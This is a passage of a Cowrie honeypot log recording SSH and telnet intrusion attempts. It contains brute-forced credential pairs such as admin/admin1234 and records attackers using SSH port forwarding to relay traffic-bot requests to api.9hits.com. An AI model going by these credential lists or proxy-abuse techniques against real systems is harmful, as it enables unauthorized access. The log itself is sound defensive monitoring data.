m","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:39.505932Z","src_ip":"37.233.85.71","session":"2d7df66b18f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1212qwqw","message":"login attempt [root/1212qwqw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:39.845694Z","src_ip":"37.233.85.71","session":"2d7df66b18f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:16:40.960241Z","src_ip":"37.233.85.71","session":"2d7df66b18f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.715747594833374,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:17:12.912128Z","src_ip":"172.81.62.90","session":"0411590f61e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38776,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d28bf1812b9","protocol":"telnet","message":"New connection: 128.199.8.54:38776 (159.203.135.109:23) [session: 0d28bf1812b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:17:23.381886Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42982,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a6605bd327f","protocol":"telnet","message":"New connection: 172.81.62.90:42982 (159.203.135.109:23) [session: 8a6605bd327f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:17:26.186269Z"}
{"eventid":"cowrie.session.closed","duration":41.15030217170715,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:04.532046Z","src_ip":"128.199.8.54","session":"0d28bf1812b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":58597,"dst_ip":"10.17.0.5","dst_port":22,"session":"951384a8f639","protocol":"ssh","message":"New connection: 23.175.50.47:58597 (10.17.0.5:22) [session: 951384a8f639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:06.040732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:06.051476Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:06.705839Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:08.123629Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.26644587516785,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:08.452573Z","src_ip":"172.81.62.90","session":"8a6605bd327f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":51646,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b4a0e9c3846","protocol":"ssh","message":"New connection: 23.148.145.132:51646 (10.17.0.5:22) [session: 3b4a0e9c3846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:10.621260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:10.626103Z","src_ip":"23.148.145.132","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:10.728861Z","src_ip":"23.148.145.132","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:12.458870Z","src_ip":"23.148.145.132","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.302750Z","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.342703Z","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.360047Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.183 Mobile/16H20 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SG84L0F3a3ExdDV9aEU%2BTA%3D%3DLSqHsv5StwGnsmTkCaZr0%2BYf%2FhrheoBKM7TZDfc16J5KmtydAZDKzgQQBRSD1yk7jocD29MZmypiKePdTm9vSrVhVGegVSr%2FikKNq5vL%2BjdsY65iJ159mg8hAtx1ZnG2uE7xKnerj7jghEA8cFfq1uJmAGXjeIzR70CRiXrNmEwzn%2Flz6klAY964PJs0ikbXkqdj4KBljCvR2W9EkARLXCjpZtzGC9aPLeIbDjKnvyHJ0I%2FbcpYmaxyDsG3N1fgauLl%2BNEgGGliUUWs7rUkH1vP5z4ZYnrYxdfdAHJwtwYsfrViSxDfMD8t0YfYnTDexCGOwGfRKZWBPlbZi5IqrwnlJ9Nxo5Bjj%2BR4OHwNjvsFAPSWFp2KYaQrxyAl57B7Bx2rB7Ct4iNTCUm8AJiCqKTzOwOZmCjd7A4j%2FH%2FXy8OLsYU3AakOAqDcQG%2F%2F%2FbboYpHScKoM2A7K1lULeA0snnF%2Brl3R2mgsNDScsBzYP%2BHdbDCd%2F9zaidaQEYi0bEOiYxjdYunmoDrYu5SIisRwMQ7xwqaiVWGXzecNsVR43Mrh%2BKj05mP%2Bj4j%2BuoWhnIIB6MKi00dtSZ11eHlF0c8ABy4s5e7lKiSNqJP8Uf6gabilZuTN5oHRCiKoIuGGNtTORhRAIPTZ0OSdGBB16bcH7r5OwJ5JWNohsFzD4pR%2F%2Br%2F1QyOUOPy9Euf16bGXYeya8pchuR8rY7kHr52IOtIHC0XshyBwkeMO1lsknwbb0YcVV3eETo7d%2F5h0sNUdhkcbdXlArFGPPWYg3YgFpZauJBmxZLli%2FDcQ4tlllc7%2FhwAw7XjRiJl1hL5cHQT9xgpttLujMBNlsQsLeSVBGOCMF1hYgT9qXMHkay1gTUbN0gDF%2FOcpXZJh66zAKFHENfJv9%2FrClFiU5GTwm8ZGK70EU0JeYl51y6nv155%2Bwv9%2FsaKjV5Wl38BruwMIwRsK5jk212f93Ma6cyVpjmf6Z5iOvWwW685NIgZdkCUt7jy%2FgseWTIPwe7ooVRZNMxm0XldVTR5BhRnIy5GpYNRTZT7iDFqR37iCONww2GqycCfNHgWd6AMdxYegk2QrhyQkyA8za'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.183 Mobile/16H20 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SG84L0F3a3ExdDV9aEU%2BTA%3D%3DLSqHsv5StwGnsmTkCaZr0%2BYf%2FhrheoBKM7TZDfc16J5KmtydAZDKzgQQBRSD1yk7jocD29MZmypiKePdTm9vSrVhVGegVSr%2FikKNq5vL%2BjdsY65iJ159mg8hAtx1ZnG2uE7xKnerj7jghEA8cFfq1uJmAGXjeIzR70CRiXrNmEwzn%2Flz6klAY964PJs0ikbXkqdj4KBljCvR2W9EkARLXCjpZtzGC9aPLeIbDjKnvyHJ0I%2FbcpYmaxyDsG3N1fgauLl%2BNEgGGliUUWs7rUkH1vP5z4ZYnrYxdfdAHJwtwYsfrViSxDfMD8t0YfYnTDexCGOwGfRKZWBPlbZi5IqrwnlJ9Nxo5Bjj%2BR4OHwNjvsFAPSWFp2KYaQrxyAl57B7Bx2rB7Ct4iNTCUm8AJiCqKTzOwOZmCjd7A4j%2FH%2FXy8OLsYU3AakOAqDcQG%2F%2F%2FbboYpHScKoM2A7K1lULeA0snnF%2Brl3R2mgsNDScsBzYP%2BHdbDCd%2F9zaidaQEYi0bEOiYxjdYunmoDrYu5SIisRwMQ7xwqaiVWGXzecNsVR43Mrh%2BKj05mP%2Bj4j%2BuoWhnIIB6MKi00dtSZ11eHlF0c8ABy4s5e7lKiSNqJP8Uf6gabilZuTN5oHRCiKoIuGGNtTORhRAIPTZ0OSdGBB16bcH7r5OwJ5JWNohsFzD4pR%2F%2Br%2F1QyOUOPy9Euf16bGXYeya8pchuR8rY7kHr52IOtIHC0XshyBwkeMO1lsknwbb0YcVV3eETo7d%2F5h0sNUdhkcbdXlArFGPPWYg3YgFpZauJBmxZLli%2FDcQ4tlllc7%2FhwAw7XjRiJl1hL5cHQT9xgpttLujMBNlsQsLeSVBGOCMF1hYgT9qXMHkay1gTUbN0gDF%2FOcpXZJh66zAKFHENfJv9%2FrClFiU5GTwm8ZGK70EU0JeYl51y6nv155%2Bwv9%2FsaKjV5Wl38BruwMIwRsK5jk212f93Ma6cyVpjmf6Z5iOvWwW685NIgZdkCUt7jy%2FgseWTIPwe7ooVRZNMxm0XldVTR5BhRnIy5GpYNRTZT7iDFqR37iCONww2GqycCfNHgWd6AMdxYegk2QrhyQkyA8za'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.368857Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.412868Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf7i\\x1c\\r\\xf5\\x02P\\xdb\\x85\\xf3\\xf62\\xc5\\xb8+\\x99\\x86\\x8f\\x9e\\xd2\\x0eZA\\xf5\\x0bz\\xf1@B\\x887\\x0b \\xa3\\x99\\xfb^\\x02\\xb2\\x8b\\x01\\x83F\\x15H\\xdfn6\\xb5\\xe6\\xdfq%\\xe0\\xc3\\x04\\xc5e\\x07\\xf3'\\x82\\xc1N\\x00\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9b\\x19\\xc4\\xff*\\xc3qZ&\\xdc?\\x93\\xa9\\x7f\\x8b\\xd6\\xf6\\xfb\\x03O\\xce \\xec\\xfa\\xd4<\\xd7O\\x86\\x92\\x9a!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf7i\\x1c\\r\\xf5\\x02P\\xdb\\x85\\xf3\\xf62\\xc5\\xb8+\\x99\\x86\\x8f\\x9e\\xd2\\x0eZA\\xf5\\x0bz\\xf1@B\\x887\\x0b \\xa3\\x99\\xfb^\\x02\\xb2\\x8b\\x01\\x83F\\x15H\\xdfn6\\xb5\\xe6\\xdfq%\\xe0\\xc3\\x04\\xc5e\\x07\\xf3'\\x82\\xc1N\\x00\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9b\\x19\\xc4\\xff*\\xc3qZ&\\xdc?\\x93\\xa9\\x7f\\x8b\\xd6\\xf6\\xfb\\x03O\\xce \\xec\\xfa\\xd4<\\xd7O\\x86\\x92\\x9a!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.415689Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.663060Z","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.671344Z","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.726519Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa3\\xff\\x92!?f!,\\x11\\xadU\\xdc\\x84\\xf8\\xdcM\\xf0\\xf1VS\\rs/\\x97\\x83\\x0f\\x99\\x01&\\xb2\\xa9\\xdd Uw\\xdab\\x1a\\x95?m\\xb4\\xfe\"\\xaae`^\"\\xe2\\xb0\\x9e\\xe6\\x12\\xfaF&\\xe8\\x92\\xb3\\x12\\xf8\\xd3\\xdd+\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x92\\x8f\\xd5\\xdf+\\xf8\\xfeRD\\x1f\\x8a\\x83\\x03\\xd2h\\xa02\\xfcq\\xfe\\xbb\\x96\\x05V\\xc54+S\\x03\\xd9\\xa7:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0